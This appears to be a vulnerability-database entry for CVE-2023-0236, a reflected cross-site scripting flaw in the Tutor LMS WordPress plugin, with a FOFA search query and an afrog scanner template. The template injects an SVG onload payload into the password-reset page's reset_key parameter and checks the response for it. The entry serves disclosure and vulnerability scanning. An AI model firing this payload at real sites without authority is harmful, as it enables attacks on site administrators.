CVE-2023-0236: Tutor LMS < 2.0.10 - Cross Site Scripting WordPress

2025-08-01 Tutor LMS PoC Public

Description

The Tutor LMS WordPress plugin before 2.0.10 does not sanitise and

escape the reset_key and user_id parameters before outputting then back

in attributes, leading to Reflected Cross-Site Scripting which could be used

against high privilege users such as admin.

fofa: app="Tutor LMS"

PoC

id: CVE-2023-0236

info:
  name: Tutor LMS < 2.0.10 - Cross Site Scripting  WordPress
  author: 不动明王
  severity: medium
  verified: true
  description: |-
    The Tutor LMS WordPress plugin before 2.0.10 does not sanitise and 
    escape the reset_key and user_id parameters before outputting then back 
    in attributes, leading to Reflected Cross-Site Scripting which could be used 
    against high privilege users such as admin.
    fofa: app="Tutor LMS"
  reference:
    - https://wpscan.com/vulnerability/503835db-426d-4b49-85f7-c9a20d6ff5b8

rules:
  r0:
    request:
      method: GET
      path: /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd
    expression: response.status == 200 && response.body.bcontains(b"<svg onload=prompt(document.domain)>") && response.body.bcontains(b"fonts") && response.body.bcontains(b"extensions")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2023-0236.yaml

References

Related Vulnerabilities